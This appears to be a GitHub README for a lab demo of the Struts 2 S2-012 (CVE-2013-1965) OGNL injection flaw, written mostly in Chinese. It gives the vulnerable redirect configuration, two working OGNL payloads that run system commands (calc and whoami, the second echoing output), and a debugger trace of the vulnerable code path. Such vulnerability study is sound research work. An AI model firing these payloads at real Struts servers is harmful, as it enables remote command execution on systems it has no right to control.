Skip to content

Latest commit

 

History

History
 
 

s2-012

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 
 
 

S2-012 Demo

Summary

Who should read this All Struts 2 developers
Impact of vulnerability Remote command execution
Maximum security rating Moderately Critical
Recommendation Developers should immediately upgrade to Struts 2.3.14.3
Affected Software Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2
Reporter Xgc Kxlzx, Alibaba Security Team
CVE Identifier CVE-2013-1965
Original Description Reported directly to [email protected]

Problem

S2-003S2-005S2-009中已经解决了OGNL表达式解析问题,但是由于它只涉及参数名的防护,没有考虑到参数值注入OGNL表达式。因此基于参数名白名单(acceptableName)和禁止方法执行(denyMethodExecution)的方式只能部分修复漏洞,不能完全解决。

action中配置resultredirect并且传递了某个参数,在触发redirect类型返回时,Struts2 获取使用${name} 获取其值,在这个过程中会对name参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

<action name="index" class="org.test.IndexAction">
	<result name="redirect" type="redirect">/redirect.action?user=${name}</result>
</action>

Environment

Struts2 Version struts-2.2.3
Server Tomcat 8.5.53
IDE idea 2020.1.1 ULTIMATE

POC

20200717095816

无回显payload:

%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec('calc'))}

有回显

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Debug

ParametersInterceptordoIntercept方法下断点,提交无回显payload触发断点(calc方便知道哪行代码执行了ognl语句):

s2-012/web/WEB-INF/lib/xwork-core-2.2.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class:92

setParameters

跟入setParameters,可以看到只是检查了参数名是否合法,然后将参数名和参数值放入newStack

		...
		Iterator i$ = params.entrySet().iterator();

        while(i$.hasNext()) { //遍历检查参数名是否合法
            Entry<String, Object> entry = (Entry)i$.next();
            String name = (String)entry.getKey();
            boolean acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name)); 
            if (acceptableName) {
                acceptableParameters.put(name, entry.getValue());
            }
        }

        ...

        Iterator i$ = acceptableParameters.entrySet().iterator(); 

        while(i$.hasNext()) {
            Entry<String, Object> entry = (Entry)i$.next();
            String name = (String)entry.getKey();
            Object value = entry.getValue();

            try {
                newStack.setValue(name, value); //将合法的参数对放入newStack
            } catch (RuntimeException var16) {
                ...
            }
        }

跳回doIntercept, 执行invocation.invoke(),通过invokeActionOnly()获取到了action的返回值redirect

image-20200720112707313

跟入executeResult(),看看是如何处理redirect的:

image-20200720113107400

继续跟入result.execute() -> super.execute() -> conditionalParse() -> translateVariables()

经过一波字符串操作,将ognl表达式(name)提取了出来,并在stack中查找到的值进行替换:

image-20200720114721752

继续循环,name已经被替换为了payload,在执行stack.findValue()时执行了ognl表达式。

image-20200720142038521

回到execute()函数,进入doExecute(),执行请求转发操作:

s2-012/web/WEB-INF/lib/struts2-core-2.2.3.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.class:60

image-20200720150512188

image-20200720145033650

Reference